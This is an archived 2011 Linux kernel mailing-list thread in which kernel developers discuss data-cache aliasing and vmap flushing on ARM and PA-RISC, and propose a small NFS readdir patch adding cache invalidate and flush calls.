Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C20A88EE0DF;
	Wed,  5 Jan 2011 15:28:30 -0800 (PST)
In-Reply-To: <1294268808.2952.18.camel@heimdal.trondhjem.org>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8674 gmane.linux.nfs:38019 gmane.linux.kernel:1083806 gmane.linux.ports.arm.kernel:101658 gmane.linux.ports.parisc:3338
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8674>

On Wed, 2011-01-05 at 18:06 -0500, Trond Myklebust wrote:
> On Wed, 2011-01-05 at 13:30 -0800, Linus Torvalds wrote: 
> > On Wed, Jan 5, 2011 at 1:16 PM, Trond Myklebust
> > <Trond.Myklebust@netapp.com> wrote:
> > >
> > > So what should be the preferred way to ensure data gets flushed when
> > > you've written directly to a page, and then want to read through the
> > > vm_map_ram() virtual range? Should we be adding new semantics to
> > > flush_kernel_dcache_page()?
> > 
> > The "preferred way" is actually simple: "don't do that". IOW, if some
> > page is accessed through a virtual mapping you've set up, then
> > _always_ access it through that virtual mapping.
> > 
> > Now, when that is impossible (and yes, it sometimes is), then you
> > should flush after doing all writes. And if you do the write through
> > the regular kernel mapping, you should use flush_dcache_page(). And if
> > you did it through the virtual mapping, you should use
> > "flush_kernel_vmap_range()" or whatever.
> > 
> > NOTE! I really didn't look those up very closely, and if the accesses
> > can happen concurrently you are basically screwed, so you do need to
> > do locking or something else to guarantee that there is some nice
> > sequential order.  And maybe I forgot something.  Which is why I do
> > suggest "don't do that" as a primary approach to the problem if at all
> > possible.
> > 
> > Oh, and you may need to flush before reading too (and many writes do
> > end up being "read-modify-write" cycles) in case it's possible that
> > you have stale data from a previous read that was then invalidated by
> > a write to the aliasing address. Even if that write was flushed out,
> > the stale read data may exist at the virtual address. I forget what
> > all we required - in the end the only sane model is "virtual caches
> > suck so bad that anybody who does them should be laughed at for being
> > a retard".
> 
> Yes. The fix I sent out was a call to invalidate_kernel_vmap_range(),
> which takes care of invalidating the cache prior to a virtual address
> read.
> 
> My question was specifically about the write through the regular kernel
> mapping: according to Russell and my reading of the cachetlb.txt
> documentation, flush_dcache_page() is only guaranteed to have an effect
> on page cache pages.
> flush_kernel_dcache_page() (not to be confused with flush_dcache_page)
> would appear to be the closest fit according to my reading of the
> documentation, however the ARM implementation appears to be a no-op...

It depends on exactly what you're doing.  In the worst case, (ping pong
reads and writes through both aliases) you have to flush and invalidate
both alias 1 alias 2 each time you access on one and then another.

Can you explain how the code works? it looks to me like you read the xdr
stuff through the vmap region then write it out directly to the pages?
*if* this is just a conversion, *and* you never need to read the new
data through the vmap alias, you might be able to get away with a
flush_dcache_page in nfs_readdir_release_array().  If the access pattern
is more complex, you'll need more stuff splashed through the loop
(including vmap invalidation/flushing).

 Is there any way you could just rewrite nfs_readdir_add_to_array() to
use the vmap address instead of doing a kmap?  That way everything will
go through a single alias and not end up with this incoherency.

James



From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 5 Jan 2011 15:28:53 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <AANLkTi=SjMinMp+m726GS1iehj6cQgNy1RqSoUqKhjtv@mail.gmail.com>
References: <1294254337.16957.13.camel@mulgrave.site> <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
 <1294256169.16957.18.camel@mulgrave.site> <20110105200008.GJ8638@n2100.arm.linux.org.uk>
 <1294259637.16957.25.camel@mulgrave.site> <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
 <20110105210448.GM8638@n2100.arm.linux.org.uk> <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
 <1294262208.2952.4.camel@heimdal.trondhjem.org> <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
 <1294268808.2952.18.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1294270169 3464 80.91.229.12 (5 Jan 2011 23:29:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 23:29:29 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	=?ISO-8859-1?Q?Uwe_Kleine=2DK=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Trond Myklebust <Trond.Myklebust@netapp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 06 00:29:24 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PacnC-0002Nh-NV
	for glpp-linux-parisc@lo.gmane.org; Thu, 06 Jan 2011 00:29:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752952Ab1AEX3P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Jan 2011 18:29:15 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:35507 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753041Ab1AEX3O (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Jan 2011 18:29:14 -0500
Original-Received: from mail-iy0-f174.google.com (mail-iy0-f174.google.com [209.85.210.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p05NTDAX026545
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Wed, 5 Jan 2011 15:29:13 -0800
Original-Received: by iyi12 with SMTP id 12so14390484iyi.19
        for <multiple recipients>; Wed, 05 Jan 2011 15:29:13 -0800 (PST)
Original-Received: by 10.231.206.76 with SMTP id ft12mr255370ibb.191.1294270153354;
 Wed, 05 Jan 2011 15:29:13 -0800 (PST)
Original-Received: by 10.231.31.72 with HTTP; Wed, 5 Jan 2011 15:28:53 -0800 (PST)
In-Reply-To: <1294268808.2952.18.camel@heimdal.trondhjem.org>
X-Spam-Status: No, hits=-2.977 required=5 tests=AWL,BAYES_00
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3339 gmane.linux.nfs:38020 gmane.linux.kernel:1083807 gmane.linux.ports.arm.kernel:101659 gmane.linux.kernel.cross-arch:8675
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3339>

On Wed, Jan 5, 2011 at 3:06 PM, Trond Myklebust
<Trond.Myklebust@netapp.com> wrote:
>
> Yes. The fix I sent out was a call to invalidate_kernel_vmap_range(),
> which takes care of invalidating the cache prior to a virtual address
> read.
>
> My question was specifically about the write through the regular kernel
> mapping: according to Russell and my reading of the cachetlb.txt
> documentation, flush_dcache_page() is only guaranteed to have an effect
> on page cache pages.

I don't think that should ever matter. It's not like the hardware can
know whether it's a dcache page or not.

And if the sw implementation cares, it's doing something really odd.
But who knows - there's a lot of crap out there, and people sometimes
do really odd things to work around the brokenness of a VIVT cache
with aliases.

                       Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 5 Jan 2011 23:59:22 +0000
Lines: 77
Approved: news@gmane.org
Message-ID: <20110105235922.GP8638@n2100.arm.linux.org.uk>
References: <1294256169.16957.18.camel@mulgrave.site> <20110105200008.GJ8638@n2100.arm.linux.org.uk> <1294259637.16957.25.camel@mulgrave.site> <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com> <20110105210448.GM8638@n2100.arm.linux.org.uk> <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com> <1294262208.2952.4.camel@heimdal.trondhjem.org> <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com> <1294268808.2952.18.camel@heimdal.trondhjem.org> <AANLkTi=SjMinMp+m726GS1iehj6cQgNy1RqSoUqKhjtv@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1294272040 11547 80.91.229.12 (6 Jan 2011 00:00:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 Jan 2011 00:00:40 +0000 (UTC)
Cc: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>,
	James Bottomley <James.Bottomley-JuX6DAaQMKPCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Uwe =?iso-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Jan 06 01:00:34 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PadHK-00029M-A5
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Thu, 06 Jan 2011 01:00:30 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752137Ab1AFAA3 (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Wed, 5 Jan 2011 19:00:29 -0500
Original-Received: from caramon.arm.linux.org.uk ([78.32.30.218]:33565 "EHLO
	caramon.arm.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751650Ab1AFAA3 (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 5 Jan 2011 19:00:29 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=arm.linux.org.uk; s=caramon;
	h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=pWRkyjeKiXEZubn70U/W9NvfUbdG8BVA0tOZjKN8ZY4=;
	b=FRWIO7rwD6Z2V+Hbtb/xqLXRQVOoa4croydL3hxjQa3eWbZJJewBIvYjKxEVP9LOg0VEYC+VmBYCqOCMywZcjGyjOxdv3Gj/ETxmGOkYLmJwIFq1kewEWBEnmNWPk8B2882guu0Kd8/3/BbvWAEQOwAeuAFPO06kPNARVijr3BM=;
Original-Received: from n2100.arm.linux.org.uk ([2002:4e20:1eda:1:214:fdff:fe10:4f86])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.72)
	(envelope-from <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>)
	id 1PadGG-0000Dy-Ad; Wed, 05 Jan 2011 23:59:24 +0000
Original-Received: from linux by n2100.arm.linux.org.uk with local (Exim 4.72)
	(envelope-from <linux-l+eeeJia6m9vn6HldHNs0ANdhmdF6hFW@public.gmane.org>)
	id 1PadGE-0006Qn-U0; Wed, 05 Jan 2011 23:59:22 +0000
Content-Disposition: inline
In-Reply-To: <AANLkTi=SjMinMp+m726GS1iehj6cQgNy1RqSoUqKhjtv-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38021 gmane.linux.kernel:1083824 gmane.linux.ports.arm.kernel:101660 gmane.linux.ports.parisc:3340 gmane.linux.kernel.cross-arch:8676
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38021>

On Wed, Jan 05, 2011 at 03:28:53PM -0800, Linus Torvalds wrote:
> On Wed, Jan 5, 2011 at 3:06 PM, Trond Myklebust
> <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org> wrote:
> >
> > Yes. The fix I sent out was a call to invalidate_kernel_vmap_range(),
> > which takes care of invalidating the cache prior to a virtual address
> > read.
> >
> > My question was specifically about the write through the regular kernel
> > mapping: according to Russell and my reading of the cachetlb.txt
> > documentation, flush_dcache_page() is only guaranteed to have an effect
> > on page cache pages.
> 
> I don't think that should ever matter. It's not like the hardware can
> know whether it's a dcache page or not.
> 
> And if the sw implementation cares, it's doing something really odd.

>From the hardware perspective you're correct that it doesn't.  However,
from the efficient implementation perspective it does matter.

Take for example the read-ahead done on block devices.  We don't want to
flush all those pages that were read in when we don't know that they're
ever going to end up in a user mapping.  So what's commonly done (as
suggested by DaveM) is that flush_dcache_page() detects that it's a
dcache page, ensures that there's no user mappings, and sets a 'dirty'
flag.  This flag is guaranteed to be clear when new, clean, unread
pages enter the page cache.

When the page eventually ends up in a user mapping, that dirty flag is
checked and the necessary cache flushing done at that point.

Note that when there are user mappings, flush_dcache_page() has to flush
those mappings too, otherwise mmap() <-> read()/write() coherency breaks.
I believe this was what flush_dcache_page() was created to resolve.

flush_kernel_dcache_page() was to solve the problem of PIO drivers
writing to dcache pages, so that data written into the kernel mapping
would be visible to subsequent user mappings.

We chose a different overall approach - which had already been adopted by
PPC - where we invert the meaning of this 'dirty' bit to mean that it's
clean.  So every new page cache page starts out life as being marked
dirty and so nothing needs to be done at flush_kernel_dcache_page().
We continue to use davem's optimization but with the changed meaning of
the bit, but as we now support SMP we do the flushing at set_pte_at()
time.

This also means that we don't have to rely on the (endlessly) buggy PIO
drivers remembering to add flush_kernel_dcache_page() calls - something
which has been a source of constant never-ending pain for us.

The final piece of the jigsaw is flush_anon_page() which deals with
kernel<->user coherency for anonymous pages by flushing both the user
and kernel sides of the mapping.  This was to solve direct-io coherency
problems.

As the users of flush_anon_page() always do:

	flush_anon_page(vma, page, addr);
	flush_dcache_page(page);

and documentation doesn't appear to imply that this will always be the
case, we restrict flush_dcache_page() to only work on page cache pages,
otherwise we end up flushing the kernel-side mapping multiple time in
succession.

Maybe we should make flush_anon_page() only flush the user mapping,
stipulate that it shall always be followed by flush_dcache_page(),
which shall flush the kernel side mapping even for anonymous pages?
That sounds to me like a recipe for missing flush_dcache_page() calls
causing bugs.
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Thu, 06 Jan 2011 11:40:13 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <1294335614.22825.154.camel@mulgrave.site>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	 <1294256169.16957.18.camel@mulgrave.site>
	 <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	 <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294335628 28854 80.91.229.12 (6 Jan 2011 17:40:28 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 Jan 2011 17:40:28 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Trond Myklebust <Trond.Myklebust@netapp.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jan 06 18:40:23 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Patp0-0003U3-92
	for glka-linux-arch@lo.gmane.org; Thu, 06 Jan 2011 18:40:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753945Ab1AFRkU (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 6 Jan 2011 12:40:20 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33997 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753900Ab1AFRkT (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 6 Jan 2011 12:40:19 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 694FC8EE10F;
	Thu,  6 Jan 2011 09:40:17 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id SkkhM6rJphzq; Thu,  6 Jan 2011 09:40:17 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 37D9F8EE0DF;
	Thu,  6 Jan 2011 09:40:16 -0800 (PST)
In-Reply-To: <1294270104.16957.73.camel@mulgrave.site>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8689 gmane.linux.nfs:38058 gmane.linux.kernel:1084339 gmane.linux.ports.arm.kernel:101768 gmane.linux.ports.parisc:3341
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8689>

On Wed, 2011-01-05 at 23:28 +0000, James Bottomley wrote:
> Can you explain how the code works? it looks to me like you read the xdr
> stuff through the vmap region then write it out directly to the pages? 

OK, I think I see how this is supposed to work:  It's a sequential loop
of reading in via the pages (i.e. through the kernel mapping) and then
updating those pages via the vmap.  In which case, I think this patch is
what you need.

The theory of operation is that the readdir on pages actually uses the
network DMA operations to perform, so when it's finished, the underlying
page is up to date.  After this you invalidate the vmap range, so we
have no cache lines above it (so it picks up the values from the
uptodate page).  Finally, after the operation on the vmap region has
finished, you flush it so that any updated contents go back to the pages
themselves before the next iteration begins.

Does this look right to people?  I've verified it fixes the issues on
parisc.

James

---

diff --git a/fs/nfs/dir.c b/fs/nfs/dir.c
index 996dd89..bde1911 100644
--- a/fs/nfs/dir.c
+++ b/fs/nfs/dir.c
@@ -587,12 +587,16 @@ int nfs_readdir_xdr_to_array(nfs_readdir_descriptor_t *desc, struct page *page,
 		if (status < 0)
 			break;
 		pglen = status;
+
+		invalidate_kernel_vmap_range(pages_ptr, pglen);
+
 		status = nfs_readdir_page_filler(desc, &entry, pages_ptr, page, pglen);
 		if (status < 0) {
 			if (status == -ENOSPC)
 				status = 0;
 			break;
 		}
+		flush_kernel_vmap_range(pages_ptr, pglen);
 	} while (array->eof_index < 0);
 
 	nfs_readdir_free_large_page(pages_ptr, pages, array_size);



From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trond Myklebust <Trond.Myklebust@netapp.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Thu, 06 Jan 2011 12:47:34 -0500
Organization: NetApp Inc
Lines: 59
Approved: news@gmane.org
Message-ID: <1294336054.2905.1.camel@heimdal.trondhjem.org>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	 <1294256169.16957.18.camel@mulgrave.site>
	 <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	 <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
	 <1294270104.16957.73.camel@mulgrave.site>
	 <1294335614.22825.154.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1294336084 31427 80.91.229.12 (6 Jan 2011 17:48:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 6 Jan 2011 17:48:04 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jan 06 18:47:58 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1PatwK-00080A-ED
	for glka-linux-arch@lo.gmane.org; Thu, 06 Jan 2011 18:47:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752863Ab1AFRrz (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 6 Jan 2011 12:47:55 -0500
Original-Received: from mx2.netapp.com ([216.240.18.37]:24739 "EHLO mx2.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752680Ab1AFRry convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 6 Jan 2011 12:47:54 -0500
X-IronPort-AV: E=Sophos;i="4.60,284,1291622400"; 
   d="scan'208";a="502424972"
Original-Received: from smtp2.corp.netapp.com ([10.57.159.114])
  by mx2-out.netapp.com with ESMTP; 06 Jan 2011 09:47:36 -0800
Original-Received: from svlrsexc1-prd.hq.netapp.com (svlrsexc1-prd.hq.netapp.com [10.57.115.30])
	by smtp2.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id p06HlZtj028010;
	Thu, 6 Jan 2011 09:47:35 -0800 (PST)
Original-Received: from SACMVEXC2-PRD.hq.netapp.com ([10.99.115.17]) by svlrsexc1-prd.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Thu, 6 Jan 2011 09:47:35 -0800
Original-Received: from 10.58.57.140 ([10.58.57.140]) by SACMVEXC2-PRD.hq.netapp.com ([10.99.115.16]) with Microsoft Exchange Server HTTP-DAV ;
 Thu,  6 Jan 2011 17:47:34 +0000
Original-Received: from heimdal.trondhjem.org by SACMVEXC2-PRD.hq.netapp.com; 06 Jan 2011 12:47:34 -0500
In-Reply-To: <1294335614.22825.154.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 (2.32.1-1.fc14) 
X-OriginalArrivalTime: 06 Jan 2011 17:47:35.0700 (UTC) FILETIME=[CD71A540:01CBADC9]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:8690 gmane.linux.nfs:38059 gmane.linux.kernel:1084342 gmane.linux.ports.arm.kernel:101769 gmane.linux.ports.parisc:3342
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/8690>

On Thu, 2011-01-06 at 11:40 -0600, James Bottomley wrote: 
> On Wed, 2011-01-05 at 23:28 +0000, James Bottomley wrote:
> > Can you explain how the code works? it looks to me like you read the xdr
> > stuff through the vmap region then write it out directly to the pages? 
> 
> OK, I think I see how this is supposed to work:  It's a sequential loop
> of reading in via the pages (i.e. through the kernel mapping) and then
> updating those pages via the vmap.  In which case, I think this patch is
> what you need.
> 
> The theory of operation is that the readdir on pages actually uses the
> network DMA operations to perform, so when it's finished, the underlying
> page is up to date.  After this you invalidate the vmap range, so we
> have no cache lines above it (so it picks up the values from the
> uptodate page).  Finally, after the operation on the vmap region has
> finished, you flush it so that any updated contents go back to the pages
> themselves before the next iteration begins.
> 
> Does this look right to people?  I've verified it fixes the issues on
> parisc.
> 
